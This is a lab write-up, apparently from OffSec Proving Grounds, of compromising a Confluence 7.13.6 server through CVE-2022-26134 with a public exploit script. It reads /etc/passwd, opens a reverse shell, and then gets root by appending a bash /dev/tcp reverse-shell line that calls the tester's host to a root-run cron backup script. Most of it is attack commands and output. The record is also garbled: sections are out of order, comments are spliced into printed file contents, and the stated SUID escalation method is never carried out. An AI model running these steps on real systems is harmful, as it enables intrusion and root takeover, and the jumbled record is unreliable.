Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
You are required to leverage enumeration techniques, including web enumeration, to uncover potential vulnerabilities. The lab involves exploiting CVE-2022-26134 and abusing cronjobs to gain unauthorized access. This lab focuses on understanding and exploiting vulnerabilities to enhance security awareness.
Scenario
In this lab, learners exploit CVE-2022-26134, a critical Remote Code Execution (RCE) vulnerability in Atlassian Confluence (version 7.13.6). By leveraging OGNL injection, attackers gain initial access to the system, discover misconfigured cron jobs, and escalate privileges to root by manipulating executable scripts.
Learning objectives
After completion of this lab, learners will be able to:
- Perform enumeration to identify the vulnerable Confluence service on port 8090.
- Use the Metasploit module to exploit the OGNL injection vulnerability and gain a shell.
- Identify cron jobs running as root and check writable scripts.
- Modify the cron-executed script to escalate privileges by adding SUID to /bin/bash.
- Elevate to root and retrieve the final proof file.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output confirms the effective user and privilege level of the current session.
2026/06/20 21:00:31 CMD: UID=0 PID=2 |
2026/06/20 21:00:31 CMD: UID=0 PID=1 | /sbin/init
2026/06/20 21:01:01 CMD: UID=0 PID=2415 | /usr/sbin/CRON -f -P
2026/06/20 21:01:01 CMD: UID=0 PID=2417 | /usr/sbin/CRON -f -P
2026/06/20 21:01:01 CMD: UID=0 PID=2418 |
2026/06/20 21:01:01 CMD: UID=0 PID=2419 | /bin/bash /opt/log-backup.sh
2026/06/20 21:01:01 CMD: UID=0 PID=2420 | /bin/bash /opt/log-backup.sh
2026/06/20 21:01:01 CMD: UID=0 PID=2421 | /bin/bash /opt/log-backup.sh
2026/06/20 21:01:01 CMD: UID=0 PID=2422 | tar -czf /root/backup/log_backup_20260620210101.tar.gz /root/backup/log_backup_20260620210101
2026/06/20 21:01:01 CMD: UID=0 PID=2423 | gzip
2026/06/20 21:01:01 CMD: UID=0 PID=2424 | /bin/bash /opt/log-backup.sh
2026/06/20 21:01:01 CMD: UID=0 PID=2425 | find /root/backup -name log_backup_* -mmin +5 -exec rm -rf {} ;
2026/06/20 21:01:01 CMD: UID=0 PID=2426 |
2026/06/20 21:01:01 CMD: UID=0 PID=2427 | rm -rf /root/backup/log_backup_20260620205501
2026/06/20 21:01:01 CMD: UID=0 PID=2428 | find /root/backup -name log_backup_* -mmin +5 -exec rm -rf {} ;This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Inspect the directory for files relevant to the next step.
confluence@flu:/home/confluence$ ls -al /opt/log-backup.sh
ls -al /opt/log-backup.sh
-rwxr-xr-x 1 confluence confluence 408 Dec 12 2023 /opt/log-backup.shThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Read the file contents for useful configuration or credential data.
confluence@flu:/home/confluence$ cat /opt/log-backup.sh
# Read the file contents for useful configuration or credential data.
cat /opt/log-backup.sh
#!/bin/bash
CONFLUENCE_HOME="/opt/atlassian/confluence/"
LOG_DIR="$CONFLUENCE_HOME/logs"
BACKUP_DIR="/root/backup"
TIMESTAMP=$(date "+%Y%m%d%H%M%S")
## Create a backup of log files
cp -r $LOG_DIR $BACKUP_DIR/log_backup_$TIMESTAMP
tar -czf $BACKUP_DIR/log_backup_$TIMESTAMP.tar.gz $BACKUP_DIR/log_backup_$TIMESTAMP
## Cleanup old backups
# Search the filesystem for files relevant to escalation or access.
find $BACKUP_DIR -name "log_backup_*" -mmin +5 -exec rm -rf {} \;This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
confluence@flu:/home/confluence$ echo "bash -c 'bash -i >& /dev/tcp/192.168.45.177/1234 0>&1'" >> /opt/log-backup.sh
<cp/192.168.45.177/1234 0>&1'" >> /opt/log-backup.sh
# Read the file contents for useful configuration or credential data.
confluence@flu:/home/confluence$ cat /opt/log-backup.sh
# Read the file contents for useful configuration or credential data.
cat /opt/log-backup.sh
#!/bin/bash
CONFLUENCE_HOME="/opt/atlassian/confluence/"
LOG_DIR="$CONFLUENCE_HOME/logs"
BACKUP_DIR="/root/backup"
TIMESTAMP=$(date "+%Y%m%d%H%M%S")
## Create a backup of log files
cp -r $LOG_DIR $BACKUP_DIR/log_backup_$TIMESTAMP
tar -czf $BACKUP_DIR/log_backup_$TIMESTAMP.tar.gz $BACKUP_DIR/log_backup_$TIMESTAMP
## Cleanup old backups
# Search the filesystem for files relevant to escalation or access.
find $BACKUP_DIR -name "log_backup_*" -mmin +5 -exec rm -rf {} \;
bash -c 'bash -i >& /dev/tcp/192.168.45.177/1234 0>&1'Initial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
┌──(kali㉿kali)-[~/offsec/flu]
# Map exposed services and versions on the target.
└─$ nmap -sCV -p- 192.168.170.41
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-20 15:59 -0400
Nmap scan report for 192.168.170.41
Host is up (0.021s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:79:64:84:da:12:97:23:77:8a:3a:60:20:96:ee:cf (ECDSA)
|_ 256 dd:49:a3:89:d7:57:ca:92:f0:6c:fe:59:a6:24:cc:87 (ED25519)
8090/tcp open http Apache Tomcat (language: en)
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Log In - Confluence
|_Requested resource was /login.action?os_destination=%2Findex.action&permissionViolation=true
8091/tcp open jamlink?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 204 No Content
| Server: Aleph/0.4.6
| Date: Sat, 20 Jun 2026 20:00:43 GMT
| Connection: Close
| GetRequest:
| HTTP/1.1 204 No Content
| Server: Aleph/0.4.6
| Date: Sat, 20 Jun 2026 20:00:13 GMT
| Connection: Close
| HTTPOptions:
| HTTP/1.1 200 OK
| Access-Control-Allow-Origin: *
| Access-Control-Max-Age: 31536000
| Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST
| Server: Aleph/0.4.6
| Date: Sat, 20 Jun 2026 20:00:13 GMT
| Connection: Close
| content-length: 0
| Help, Kerberos, LDAPSearchReq, LPDString, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 414 Request-URI Too Long
| text is empty (possibly HTTP/0.9)
| RTSPRequest:
| HTTP/1.1 200 OK
| Access-Control-Allow-Origin: *
| Access-Control-Max-Age: 31536000
| Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST
| Server: Aleph/0.4.6
| Date: Sat, 20 Jun 2026 20:00:13 GMT
| Connection: Keep-Alive
| content-length: 0
| SIPOptions:
| HTTP/1.1 200 OK
| Access-Control-Allow-Origin: *
| Access-Control-Max-Age: 31536000
| Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST
| Server: Aleph/0.4.6
| Date: Sat, 20 Jun 2026 20:00:48 GMT
| Connection: Keep-Alive
|_ content-length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8091-TCP:V=7.98%I=7%D=6/20%Time=6A36F14D%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,68,"HTTP/1\.1\x20204\x20No\x20Content\r\nServer:\x20Aleph/0\.4
SF:\.6\r\nDate:\x20Sat,\x2020\x20Jun\x202026\x2020:00:13\x20GMT\r\nConnect
SF:ion:\x20Close\r\n\r\n")%r(HTTPOptions,EC,"HTTP/1\.1\x20200\x20OK\r\nAcc
SF:ess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Max-Age:\x2031536000\
SF:r\nAccess-Control-Allow-Methods:\x20OPTIONS,\x20GET,\x20PUT,\x20POST\r\
SF:nServer:\x20Aleph/0\.4\.6\r\nDate:\x20Sat,\x2020\x20Jun\x202026\x2020:0
SF:0:13\x20GMT\r\nConnection:\x20Close\r\ncontent-length:\x200\r\n\r\n")%r
SF:(RTSPRequest,F1,"HTTP/1\.1\x20200\x20OK\r\nAccess-Control-Allow-Origin:
SF:\x20\*\r\nAccess-Control-Max-Age:\x2031536000\r\nAccess-Control-Allow-M
SF:ethods:\x20OPTIONS,\x20GET,\x20PUT,\x20POST\r\nServer:\x20Aleph/0\.4\.6
SF:\r\nDate:\x20Sat,\x2020\x20Jun\x202026\x2020:00:13\x20GMT\r\nConnection
SF::\x20Keep-Alive\r\ncontent-length:\x200\r\n\r\n")%r(Help,46,"HTTP/1\.1\
SF:x20414\x20Request-URI\x20Too\x20Long\r\n\r\ntext\x20is\x20empty\x20\(po
SF:ssibly\x20HTTP/0\.9\)")%r(SSLSessionReq,46,"HTTP/1\.1\x20414\x20Request
SF:-URI\x20Too\x20Long\r\n\r\ntext\x20is\x20empty\x20\(possibly\x20HTTP/0\
SF:.9\)")%r(TerminalServerCookie,46,"HTTP/1\.1\x20414\x20Request-URI\x20To
SF:o\x20Long\r\n\r\ntext\x20is\x20empty\x20\(possibly\x20HTTP/0\.9\)")%r(T
SF:LSSessionReq,46,"HTTP/1\.1\x20414\x20Request-URI\x20Too\x20Long\r\n\r\n
SF:text\x20is\x20empty\x20\(possibly\x20HTTP/0\.9\)")%r(Kerberos,46,"HTTP/
SF:1\.1\x20414\x20Request-URI\x20Too\x20Long\r\n\r\ntext\x20is\x20empty\x2
SF:0\(possibly\x20HTTP/0\.9\)")%r(FourOhFourRequest,68,"HTTP/1\.1\x20204\x
SF:20No\x20Content\r\nServer:\x20Aleph/0\.4\.6\r\nDate:\x20Sat,\x2020\x20J
SF:un\x202026\x2020:00:43\x20GMT\r\nConnection:\x20Close\r\n\r\n")%r(LPDSt
SF:ring,46,"HTTP/1\.1\x20414\x20Request-URI\x20Too\x20Long\r\n\r\ntext\x20
SF:is\x20empty\x20\(possibly\x20HTTP/0\.9\)")%r(LDAPSearchReq,46,"HTTP/1\.
SF:1\x20414\x20Request-URI\x20Too\x20Long\r\n\r\ntext\x20is\x20empty\x20\(
SF:possibly\x20HTTP/0\.9\)")%r(SIPOptions,F1,"HTTP/1\.1\x20200\x20OK\r\nAc
SF:cess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Max-Age:\x2031536000
SF:\r\nAccess-Control-Allow-Methods:\x20OPTIONS,\x20GET,\x20PUT,\x20POST\r
SF:\nServer:\x20Aleph/0\.4\.6\r\nDate:\x20Sat,\x2020\x20Jun\x202026\x2020:
SF:00:48\x20GMT\r\nConnection:\x20Keep-Alive\r\ncontent-length:\x200\r\n\r
SF:\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.20 secondsNavigating on port 8090, it redirects us to:
http://192.168.170.41:8090/login.action?os_destination=%2Findex.action&permissionViolation=trueAtlassian Confluence 7.13.6 is primarily vulnerable to a critical, unauthenticated Remote Code Execution (RCE) flaw via Object-Graph Navigation Language (OGNL) injection.
While this version predates many of the newer 8.x exploits, it suffers from several severe, well-documented CVEs.
- CVE-2022-26134 (OGNL Injection RCE)
- What it is: A severe zero-day vulnerability in Confluence Server and Data Center that allows unauthenticated threat actors to execute arbitrary code simply by sending a maliciously crafted HTTP request containing OGNL expressions.
- Impact: Complete system compromise. Attackers can create webshells, exfiltrate data, or install malware.
- Affected Versions: All supported Confluence Server and Data Center versions before the 7.13.20 Long Term Support (LTS) release—which includes 7.13.6.
- Searching online, we found a github python Through-the-wire
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# Run the helper or analysis script used in this lab step.
└─$ python3 through_the_wire.py --rhost 192.168.170.41 --rport 8090 --lhost 192.168.45.177 --protocol http:// --read-file /etc/passwd
[+] Forking a netcat listener
[+] Using /usr/bin/nc
[+] Generating a payload to read: /etc/passwd
[+] Sending expoit at http://192.168.170.41:8090/
listening on [any] 1270 ...
connect to [192.168.45.177] from (UNKNOWN) [192.168.170.41] 42268
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:106::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:101:1::/var/cache/pollinate:/bin/false
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
syslog:x:103:109::/nonexistent:/usr/sbin/nologin
uuidd:x:104:110::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:111::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:113::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:108:114:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:115:MySQL Server,,,:/nonexistent:/bin/false
confluence:x:1001:1001:Atlassian Confluence:/home/confluence:/bin/shThis block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/flu/through_the_wire]
# Run the helper or analysis script used in this lab step.
└─$ python3 through_the_wire.py --rhost 192.168.170.41 --rport 8090 --lhost 192.168.45.177 --protocol http:// --reverse-shell
[+] Forking a netcat listener
[+] Using /usr/bin/nc
[+] Generating a reverse shell payload
[+] Sending expoit at http://192.168.170.41:8090/
listening on [any] 1270 ...
connect to [192.168.45.177] from (UNKNOWN) [192.168.170.41] 35332
bash: cannot set terminal process group (820): Inappropriate ioctl for device
bash: no job control in this shell
# Confirm the identity of the current session.
confluence@flu:/opt/atlassian/confluence/bin$ whoami
# Confirm the identity of the current session.
whoami
confluence
confluence@flu:/opt/atlassian/confluence/bin$Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
(kali㉿kali)-[~/offsec/flu]
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.45.177] from (UNKNOWN) [192.168.170.41] 48266
bash: cannot set terminal process group (2664): Inappropriate ioctl for device
bash: no job control in this shell
root@flu:~# whoami
# Confirm the identity of the current session.
whoami
root
root@flu:~# cat /root/proof.txt
# Read the file contents for useful configuration or credential data.
cat /root/proof.txt
f79dbad33ae339b4a6692536baeb102bTakeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.